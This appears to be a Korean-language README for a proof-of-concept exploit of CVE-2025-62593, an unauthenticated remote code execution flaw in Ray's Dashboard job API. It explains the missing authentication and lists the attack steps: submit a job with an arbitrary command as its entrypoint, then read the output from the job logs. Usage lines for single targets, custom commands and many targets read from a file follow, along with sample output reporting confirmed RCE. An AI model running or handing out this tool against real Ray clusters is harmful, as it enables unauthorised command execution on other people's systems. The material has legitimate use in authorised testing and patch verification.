
CVE-2025-62593에 대한 PoC: Ray의 인증되지 않은 RCE (CISA KEV). 표준 라이브러리만 사용하는 Python.
CVE-2025-62593에 대한 개념 증명(PoC)으로, Ray 분산 AI 컴퓨팅 엔진에서 브라우저 기반 DNS 리바인딩 공격을 통해 악용되는 인증 없는 원격 코드 실행 취약점입니다. 이 취약점은 CISA 알려진 악용 취약점(KEV) 카탈로그에 추가되었으며 활발히 악용되고 있습니다.
근본 원인은 Ray 팀이 /api/jobs 및 /api/job_agent/jobs와 같은 중요한 HTTP 엔드포인트에서 인증을 수행하지 않기로 한 오랜 설계 결정입니다. 그 결과, 인증되지 않은 원격 공격자는 엔트리포인트가 임의 명령인 Ray Job을 제출할 수 있으며, 이 명령은 클러스터 헤드 노드에서 실행됩니다 — 완전한 원격 코드 실행입니다.
이 PoC는 Ray Dashboard HTTP API와 직접 통신하여(기본 버그를 입증하는 데 브라우저/DNS 리바인딩이 필요 없음) 작업 로그에서 명령 출력을 복구합니다.
POST /api/jobs/에 명령을 실행하고 해당 stdout/stderr를 임시 파일에 캡처한 다음 파일 내용을 출력하는 entrypoint를 전송합니다.GET /api/jobs/를 폴링합니다.GET /api/jobs/<submission_id>/logs를 읽고 명령 출력을 출력합니다.# Single target
python3 ray_rce_poc.py --target http://HOST:8265
# Custom command
python3 ray_rce_poc.py --target http://HOST:8265 --command "id; uname -a"
# Multiple targets from a file (one per line, '#' = comment)
python3 ray_rce_poc.py --targets targets.txt --command id
# Write a JSON summary
python3 ray_rce_poc.py --target http://HOST:8265 --output out.json
# Help
python3 ray_rce_poc.py --help
Python 3 표준 라이브러리만 필요 — 타사 종속성 없음.
$ python3 ray_rce_poc.py --target http://localhost:8265 --command "id; hostname"
== http://localhost:8265
Running entrypoint for job raysubmit_XXX: python -c "import os,os.path; ..."
uid=1000(ray) gid=100(users) groups=100(users),27(sudo)
05cdb1bea437
=> PASS (RCE confirmed, status: SUCCEEDED, exit code: 0)
보안 연구 및 승인된 테스트 전용입니다. 소유하거나 명시적 테스트 권한이 있는 시스템에만 사용하십시오. 작성자는 오용에 대해 책임을 지지 않습니다.